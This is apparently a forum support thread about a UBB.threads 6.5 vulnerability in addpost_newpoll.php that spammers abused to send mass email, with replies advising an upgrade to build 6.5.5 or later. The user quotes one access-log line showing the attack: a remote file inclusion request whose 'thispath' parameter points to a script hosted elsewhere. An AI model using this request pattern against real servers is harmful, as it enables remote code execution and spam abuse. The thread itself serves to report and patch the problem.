I use version 6.5

My provider informed me that the UBBT script addpost_newpoll.php
was used to send ou more than 100.000 spam emails and nearly cancelled my contract.

It seems that this is a well known bug at least to spammers as they had even programmed a complete USER INTERFACE for sending spam with UBBt and so probably millions of spam emails are sent out each day with he help of ubbt.

The way this script is/was abused

/forum//addpost_newpoll.php?addpoll=preview&thispath=http://geocities.com/uza_mere/uza.txt? HTTP/1.1" 200

(the abuse script has gone at this place but is probably to be found at a lot of places elsewhere

Are you running 6.5? If so, security issues are well known in builds prior to 6.5.5, you should consider upgrading.

Yes, we sent out an email to all of our customers when we were made aware of this and had a patch out to fix it. You should definitely at least upgrade to 6.5.5 at the minimum.